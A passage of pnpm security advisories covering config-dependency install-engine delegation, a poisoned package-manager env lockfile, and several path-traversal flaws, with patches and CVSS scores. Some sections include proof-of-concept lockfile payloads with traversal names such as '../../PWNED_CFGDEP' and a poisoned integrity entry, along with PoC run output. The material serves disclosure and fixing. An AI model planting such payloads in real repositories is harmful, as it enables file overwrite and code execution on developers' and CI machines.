as `pnpm install` in the repository. 2. pnpm installs the repository-declared config dependency and its host-compatible optional platform dependency into `.pnpm-config`. 3. `installDeps()` treats the presence of `configDependencies.pacquet` or `configDependencies["@&#8203;pnpm/pacquet"]` as authorization to delegate install materialization. 4. `runPacquet()` resolves the platform binary from the installed config dependency tree and spawns it in the lockfile directory. Observed PoC output: ```json { "primitive": "repository-selected pacquet config dependency reaches native process execution when selected", "patchedWithoutAllowlist": "blocked", "trustedAllowlist": "allows explicit opt-in" } ``` Focused validation commands: ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json ./node_modules/.bin/tsgo --build installing/commands/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check ``` Validation result: - The PoC confirmed a selected pacquet config dependency reaches native process execution. - Patched `getPacquetConfigDependencyName()` returns `undefined` without a trusted allowlist. - Patched `getPacquetConfigDependencyName()` allows exact `pacquet`, exact `@pnpm/pacquet`, and wildcard `*` trusted opt-in. - Config reader regressions prove user/global config can set `configDependencyInstallEngineAllowlist`, while `pnpm-workspace.yaml` cannot grant this permission to itself. - E2E fixtures that intentionally delegate to pacquet now pass the trusted allowlist through environment config. - TypeScript builds passed for `@pnpm/config.reader`, `@pnpm/installing.commands`, and `pnpm`. - Focused `installing/commands/test/runPacquet.ts`: 3 passed. - Focused `config/reader/test/index.ts`: 2 passed, 132 skipped under the focused pattern. - ESLint passed with warnings only for existing skipped tests in `config/reader/test/index.ts` and `pnpm/test/install/pacquet.ts`. - `git diff --check`: passed. ##### Impact A malicious repository can cause pnpm to execute a registry-selected native binary while handling dependency-management commands. The binary runs with the victim developer or CI user's filesystem, environment, registry credentials, git/SSH credentials, and network access. ##### Affected products Ecosystem: npm Package name: `pnpm`, `@pnpm/config.reader`, `@pnpm/installing.commands` Affected versions: current main before this patch, when `configDependencies` contains `pacquet` or `@pnpm/pacquet` and install paths delegate to pacquet. Patched versions: 10.34.2, 11.5.3. ##### Severity Severity: High Vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` Base score: 8.8 Rationale: attacker input is delivered through a repository and registry package, exploitation is low complexity once the victim runs pnpm, no attacker privileges are required, and user interaction is required. Successful exploitation executes a native binary in the victim user's context, with high confidentiality, integrity, and availability impact. ##### Weaknesses CWE-829: Inclusion of Functionality from Untrusted Control Sphere CWE-78: Improper Neutralization of Special Elements used in an OS Command CWE-494: Download of Code Without Integrity Check ##### Patch The patch adds a trusted opt-in gate for config-dependency install-engine delegation: - New setting: `configDependencyInstallEngineAllowlist`. - The allowlist can be set from trusted user-controlled config such as global config, CLI config, or environment config. - `pnpm-workspace.yaml` cannot grant this permission to itself; workspace-provided values are discarded after workspace settings are merged. - `installDeps()` delegates to pacquet only when `pacquet`, `@pnpm/pacquet`, or `*` is present in the trusted allowlist. - Repositories can still install `pacquet` as a config dependency, but pnpm will not spawn it as an install engine unless trusted config opts in. - Existing tests that intentionally exercise pacquet delegation were updated to pass the trusted allowlist via environment config. Changed files: - `config/reader/src/Config.ts` - `config/reader/src/types.ts` - `config/reader/src/configFileKey.ts` - `config/reader/src/index.ts` - `config/reader/test/index.ts` - `installing/commands/src/installDeps.ts` - `installing/commands/test/runPacquet.ts` - `pnpm/test/install/pacquet.ts` Changeset: - `.changeset/lucky-config-plugin-pnpmfiles.md` Pacquet parity: No pacquet-side code-execution sink exists for this finding. The Rust port parses and records `configDependencies` for workspace-state compatibility, but it does not install config dependencies or select/spawn an alternate install engine from them. The user-visible trust setting is TypeScript-side today because it gates pnpm's pacquet delegation path. ##### CVSS Reassessment Initial CVSS remains correct for vulnerable versions: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High. Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no longer reaches pacquet install-engine selection or native process execution unless the victim has set a trusted allowlist outside the repository's own workspace settings. ##### Remaining Risk Users can explicitly trust pacquet install-engine delegation through the new allowlist. That is intentional behavior; the closed issue is repository self-authorization of a registry-provided native install engine. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x](https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55697](https://nvd.nist.gov/vuln/detail/CVE-2026-55697) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-gj8w-mvpf-x27x) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes [CVE-2026-55698](https://nvd.nist.gov/vuln/detail/CVE-2026-55698) / [GHSA-w466-c33r-3gjp](https://github.com/advisories/GHSA-w466-c33r-3gjp) <details> <summary>More information</summary> #### Details <!-- maintainer-action:start --> ##### Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-063` / `GHSA-w466-c33r-3gjp` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm packageManager env lockfile` - Patch area: package-manager env lockfile is re-resolved through trusted registries before execution - Affected packages: `npm:pnpm`, `npm:@&#8203;pnpm/installing.env-installer` - CWE IDs: `CWE-829`, `CWE-494`, `CWE-345` - Conservative CVSS: `8.8` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ##### Expected Patched Behavior Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero. ##### Files And Tests To Review - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` - `pnpm/src/switchCliVersion.ts` - `pnpm/src/switchCliVersion.test.ts` - `.changeset/clean-package-manager-registries.md` ##### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-063-patched-result.json`. <!-- maintainer-action:end --> ##### Summary pnpm can persist package-manager bootstrap metadata in the first YAML document of `pnpm-lock.yaml`. Before the patch, direct pnpm execution trusted an already resolved `packageManagerDependencies` entry when the committed env lockfile contained matching `pnpm` and `@pnpm/exe` versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching. ##### Details The vulnerable source-to-sink path was: - `lockfile/fs/src/envLockfile.ts` reads the repository's first YAML lockfile document and validates shape only. - `pnpm/src/main.ts` reaches `switchCliVersion()` when a direct pnpm invocation sees a wanted `pnpm` package manager with `onFail=download`. - `pnpm/src/switchCliVersion.ts` reads the committed env lockfile when package-manager metadata should be persisted. - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` treated `packageManagerDependencies` as resolved when only the `pnpm` and `@pnpm/exe` versions matched. - `engine/pm/commands/src/self-updater/installPnpm.ts` converts env-lockfile `snapshots` and `packages` into the wanted lockfile used by `headlessInstall()`. - `pnpm/src/switchCliVersion.ts` executes the installed `pnpm` binary with `spawn.sync()`. The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: `switchCliVersion()` now re-resolves already present package-manager env-lockfile entries before they can reach `installPnpmToStore()` and `spawn.sync()`. ##### PoC Standalone PoC and verification script: The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata: ```json { "importers": { ".": { "configDependencies": {}, "packageManagerDependencies": { "@&#8203;pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" }, "pnpm": { "specifier": "9.3.0", "version": "9.3.0" } } } }, "lockfileVersion": "9.0", "packages": { "/pnpm@9.3.0": { "resolution": { "integrity": "sha512-poisoned" } } }, "snapshots": { "/pnpm@9.3.0": {} } } ``` Pre-patch exploit model: 1. The victim runs pnpm directly in a malicious repository. 2. The requested package-manager version differs from the currently running pnpm. 3. pnpm enters `switchCliVersion()` and reads the committed env lockfile. 4. Matching `pnpm` / `@pnpm/exe` versions short-circuit package-manager resolution. 5. pnpm installs from the committed env-lockfile package records and executes the resulting `pnpm` binary. Observed primitive proof from the PoC: ```json { "primitive": "unforced resolver reuses already-resolved env lockfile metadata", "isResolvedByVersionOnly": true, "reusedPoisonedIntegrity": true } ``` The same script then runs the patched `switchCliVersion` regression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and asserts `installPnpmToStore()` receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer. Focused validation commands: ```bash ./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check ``` Validation result: - The PoC confirmed the unforced resolver still reuses a version-matching env lockfile, proving the original primitive. - Patched `switchCliVersion()` calls `resolvePackageManagerIntegrities()` with `force: true` when committed env-lockfile package-manager entries already satisfy the requested version. - Patched `switchCliVersion()` assigns the resolver return value back to `envLockfile`. - The installer receives the refreshed lockfile and not the poisoned committed lockfile. - TypeScript builds passed for `@pnpm/installing.env-installer` and `pnpm`. - The focused Jest regression passed: 1 passed, 1 skipped in `switchCliVersion.test.ts`. - ESLint passed for the affected package-manager switch files. - `git diff --check` passed. ##### Impact A malicious repository can cause arbitrary package-manager code execution in the victim's developer or CI environment before normal command handling continues. That code executes with the victim user's privileges and can read local secrets, alter project files, mutate dependency state, or run further commands. ##### Affected products Ecosystem: npm Package name: `pnpm`, `@pnpm/installing.env-installer` Affected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile. Patched versions: pending release containing this patch. ##### Severity Severity: High Vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` Base score: 8.8 Rationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user's security context, with high confidentiality, integrity, and availability impact. ##### Weaknesses CWE-829: Inclusion of Functionality from Untrusted Control Sphere CWE-494: Download of Code Without Integrity Check CWE-345: Insufficient Verification of Data Authenticity ##### Patch The patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution: - `resolvePackageManagerIntegrities()` accepts `force`, which bypasses the version-only fast path. - `switchCliVersion()` creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions. - `switchCliVersion()` calls `resolvePackageManagerIntegrities()` with `force: true` for already resolved package-manager entries. - `switchCliVersion()` assigns the returned env lockfile back to `envLockfile`, so `installPnpmToStore()` installs from freshly resolved metadata. - The package-manager bootstrap registry hardening from CAND-PNPM-061 is reused, so the refresh happens through trusted package-manager registries rather than repository workspace registries. Changed files: - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` - `pnpm/src/switchCliVersion.ts` - `pnpm/src/switchCliVersion.test.ts` Changeset: - `.changeset/clean-package-manager-registries.md` Pacquet parity: No pacquet-side patch is required for this finding because pacquet does not implement pnpm's package-manager auto-switch path or `installPnpmToStore()`. ##### CVSS Reassessment Initial CVSS remains correct for vulnerable versions: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High. Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata through trusted bootstrap registries before install or execution. ##### Remaining Risk The helper `resolvePackageManagerIntegrities()` still has an unforced fast path that treats matching `pnpm` and `@pnpm/exe` versions as resolved. Current execution-sensitive callers either use trusted roots/registries or pass through the patched `switchCliVersion()` boundary, but future execution paths should use `force: true` before installing or executing package-manager bytes from repository-provided env-lockfile metadata. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp](https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55698](https://nvd.nist.gov/vuln/detail/CVE-2026-55698) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w466-c33r-3gjp) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: `patch-remove` could delete project-selected files outside the patches directory [CVE-2026-59194](https://nvd.nist.gov/vuln/detail/CVE-2026-59194) / [GHSA-72r4-9c5j-mj57](https://github.com/advisories/GHSA-72r4-9c5j-mj57) <details> <summary>More information</summary> #### Details ##### Summary The `patch-remove` deletion-scope issue tracked as GHSA-72r4-9c5j-mj57 / CAND-PNPM-030 has been addressed in pnpm. A crafted patch entry could resolve outside the configured patches directory and cause `pnpm patch-remove` to delete an arbitrary reachable file. This patch validates the configured directory and every resolved target before unlinking anything, then deletes the final directory entry without following it. ##### Security boundary - Traversal and absolute paths that resolve outside the configured patches directory are rejected before deletion. - Parent directories are canonicalized before deletion, including the case where a nested symlink points outside and the final outside entry is itself dangling. - The complete batch is validated before any file is removed. - Component-aware predicates accept valid names beginning with `..` while still rejecting parent traversal, Windows drive escapes, and UNC escapes. - Valid files and symlinked patch directories whose canonical targets remain below the lockfile directory continue to work. - A final symlink inside a valid patch directory is unlinked without following its target, including when the target is outside or dangling. ##### Exploit replay Before the patch, a workspace `patchedDependencies` path that resolved outside the project caused `pnpm patch-remove` to delete the external sentinel. A second replay used a nested parent symlink and a dangling outside victim: `realpath()` returned `ENOENT`, yet the victim was still removed. With this patch, both paths are rejected and the outside entries remain intact. ##### Files changed - `patching/commands/src/isSubdirectory.ts` performs component-aware containment checks. - `patching/commands/src/patchRemove.ts` validates the full batch, canonicalizes parents, and unlinks final entries without following them. - `patching/commands/test/{isSubdirectory,patchRemove}.test.ts` covers traversal, nested symlinks, dangling victims, and valid removals. ##### Commands run ```text $ pnpm --filter @&#8203;pnpm/patching.commands test test/isSubdirectory.test.ts test/patchRemove.test.ts PASS: 11 tests across 2 suites $ pnpm --filter @&#8203;pnpm/patching.commands run compile PASS $ git diff --check PASS ``` ##### Validation - Focused handler and path-predicate suites: 11 passed across 2 suites. - Package-wide ESLint: passed. - Package TypeScript build: passed. - Commit hooks, Commitlint, and `git diff --check`: passed. - The broader integration harness was environment-blocked because it writes outside the available temporary root; focused handler tests used `/private/tmp`. ##### Patches `10.34.4`: https://github.com/pnpm/pnpm/commit/352ae489f1b14ffdc19d2c6eacb1b06b098c2ddc `11.7.0`: https://github.com/pnpm/pnpm/commit/612a2e6a7333f2b061f452a21b6e62c1c161747f ##### Compatibility Missing patch files remain no-ops. Valid symlinked patch directories continue to work when their canonical target stays inside the lockfile directory, and final symlinks are removed without touching their targets. `patch-remove` is not yet in pacquet's command surface, so no Rust-side parity change is required. ##### Remaining risk Portable Node APIs do not expose directory-fd-relative `unlinkat()`. A local attacker who can replace an already validated parent directory before the unlink may still win a time-of-check/time-of-use race. The reproduced repository-controlled traversal and symlink paths do not require that concurrent capability and are blocked by this patch. --- Written by an agent (Codex, GPT-5). #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-72r4-9c5j-mj57](https://github.com/pnpm/pnpm/security/advisories/GHSA-72r4-9c5j-mj57) - [https://github.com/pnpm/pnpm/commit/612a2e6a7333f2b061f452a21b6e62c1c161747f](https://github.com/pnpm/pnpm/commit/612a2e6a7333f2b061f452a21b6e62c1c161747f) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [http://github.com/pnpm/pnpm/commit/352ae489f1b14ffdc19d2c6eacb1b06b098c2ddc](http://github.com/pnpm/pnpm/commit/352ae489f1b14ffdc19d2c6eacb1b06b098c2ddc) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-72r4-9c5j-mj57) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Hoisted install imports lockfile alias outside node_modules [CVE-2026-59196](https://nvd.nist.gov/vuln/detail/CVE-2026-59196) / [GHSA-fr4h-3cph-29xv](https://github.com/advisories/GHSA-fr4h-3cph-29xv) <details> <summary>More information</summary> #### Details ##### Summary The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet. A crafted lockfile alias could be joined directly under a hoisted `node_modules` directory. Traversal aliases could escape that directory, while reserved aliases such as `.bin` or `.pnpm` could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work. ##### Security boundary - The TypeScript hoisted graph uses the shared safe join helper at the actual `dep.name` sink. - The helper rejects traversal, absolute, platform-specific, and reserved package names. - Pacquet validates the hoister's `dep.0.name` before adding the graph node or recursing. - Both implementations return `ERR_PNPM_INVALID_DEPENDENCY_NAME`. - Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases. ##### Exploit replay Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created. ##### Files changed - `fs/symlink-dependency/src/safeJoinModulesDir.ts` provides the TypeScript containment helper. - `installing/deps-restorer/src/lockfileToHoistedDepGraph.ts` validates the parsed dependency name at the hoisted graph sink. - `pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}` mirrors that boundary in Rust. - TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names. ##### Commands run ```text $ pnpm --filter @&#8203;pnpm/fs.symlink-dependency test PASS: 24 tests $ pnpm --filter @&#8203;pnpm/installing.deps-restorer test test/index.ts PASS: exploit regression and positive install control $ cargo test --locked -p pacquet-package-manager --lib PASS: 426 tests $ cargo fmt --all -- --check PASS ``` ##### Validation - TypeScript symlink helper: 24 passed. - TypeScript exploit regression: 1 passed. - TypeScript positive hoisted-install control: 1 passed. - Targeted strict TypeScript compiles: passed. - Targeted ESLint: zero errors. - Pacquet helper tests: 3 passed. - Full pacquet package-manager library suite: 426 passed. - `cargo fmt`, parsed two-document lockfile validation, and `git diff --check`: passed. ##### Patch Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1 GitHub reports the branch as mergeable and has requested review from `zkochan`. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability ##### Compatibility Valid unscoped and scoped package aliases continue to work. The changeset covers `@pnpm/fs.symlink-dependency`, `@pnpm/installing.deps-restorer`, and `pnpm`; pacquet is updated in the same commit for CLI parity. --- Written by an agent (Codex, GPT-5). #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-fr4h-3cph-29xv](https://github.com/pnpm/pnpm/security/advisories/GHSA-fr4h-3cph-29xv) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fr4h-3cph-29xv) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config [CVE-2026-59195](https://nvd.nist.gov/vuln/detail/CVE-2026-59195) / [GHSA-qrv3-253h-g69c](https://github.com/advisories/GHSA-qrv3-253h-g69c) <details> <summary>More information</summary> #### Details ##### Summary `pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`. A malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name. In local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory: ```text expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This works with `--ignore-scripts`, so it does not rely on lifecycle script execution. ##### Vulnerable behavior The vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components. The relevant pattern is: ```ts const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config') for (const [pkgName, pkg] of Object.entries(normalizedDeps)) { const configDepPath = path.join(configModulesDir, pkgName) const pkgDirInGlobalVirtualStore = path.join( globalVirtualStoreDir, relPath, 'node_modules', pkgName ) await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath) } ``` If `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`. ##### Impact A malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install. This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior. The issue is especially relevant because: * The malicious input is committed in `pnpm-lock.yaml`. * The issue is triggered during `pnpm install`. * It works with `--ignore-scripts`. * It occurs in the config dependency installation path, before ordinary dependency installation. * The user only needs to install a malicious or compromised repository. ##### Local proof of concept The following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`. Command used: ```bash python3 ../pnpm_configdeps_path_traversal_poc.py \ --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \ --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log ``` Observed output: ```text [+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim [+] Local registry: http://127.0.0.1:36545/ [+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store [+] Malicious name: '../../PWNED_CFGDEP' [+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config [+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP [+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml [+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/ ``` pnpm output: ```text Installing config dependencies... Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 Already up to date Done in 906ms using pnpm v11.5.1 ``` The PoC then detected the escaped symlink: ```text [+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP [VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP ``` ##### Malicious lockfile structure The malicious input is an env-lockfile `configDependencies` key containing traversal components: ```yaml importers: .: configDependencies: legit-config-dep: specifier: '1.0.0' version: '1.0.0' '../../PWNED_CFGDEP': specifier: '1.0.0' version: '1.0.0' ``` pnpm accepts the traversal-shaped name and reports it as installed: ```text Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 ``` ##### Security boundary violation The intended config dependency root was: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config ``` But pnpm created: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked. ##### Suggested remediation Validate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component. Recommended fixes: 1. Reject env-lockfile `configDependencies` names that are not valid npm package names. 2. Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators. 3. Use containment-checked path joining before creating symlinks: * resolve the final destination path, * verify it remains inside `node_modules/.pnpm-config`, * reject if it escapes. 4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile. 5. Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` `configDependencies` before installing, so extra lockfile-only entries are rejected. A safe destination check should enforce behavior equivalent to: ```ts const dest = path.resolve(configModulesDir, pkgName) if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) { throw new Error(`Invalid config dependency name: ${pkgName}`) } ``` Name validation should happen before this check, not instead of it. #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-qrv3-253h-g69c](https://github.com/pnpm/pnpm/security/advisories/GHSA-qrv3-253h-g69c) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qrv3-253h-g69c) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph [CVE-2026-82392](https://nvd.nist.gov/vuln/detail/CVE-2026-82392) / [GHSA-c59q-g84q-2gj5](https://github.com/advisories/GHSA-c59q-g84q-2gj5) <details> <summary>More information</summary> #### Details ##### Summary The virtual store linker constructs package installation directories using `path.join(modules, pkgName)` where `pkgName` is extracted from lockfile `packages` keys via `dp.parse(depPath).name` without validation. A crafted `pnpm-lock.yaml` with traversal sequences in depPath keys (e.g., `../../../tmp/pwned@1.0.0`) causes package content to be written to arbitrary filesystem paths during `pnpm install`. This is an incomplete fix of GHSA-fr4h-3cph-29xv — the `safeJoinModulesDir` containment helper was applied to the hoisted linker and `symlinkDependency` but NOT to the virtual store linker's `lockfileToDepGraph.ts:233`. ##### Details ##### Root Cause `dp.parse()` at `pnpm11/deps/path/src/index.ts:135` extracts the package name as: ```typescript const name = dependencyPath.substring(0, sepIndex) ``` This is a raw substring operation with zero validation that `name` is a valid npm package name. A depPath of `../../../tmp/pwned@1.0.0` yields `name = '../../../tmp/pwned'`. ##### Vulnerable Code Path 1. `pnpm-lock.yaml` → `lockfile.packages['../../../../../../../tmp/pwned@1.0.0']` (attacker-controlled lockfile key) 2. `nameVerFromPkgSnapshot(depPath, pkgSnapshot)` at `lockfile/utils/src/nameVerFromPkgSnapshot.ts:16` → calls `dp.parse(depPath)` → returns `{ name: '../../../../../../../tmp/pwned' }` 3. 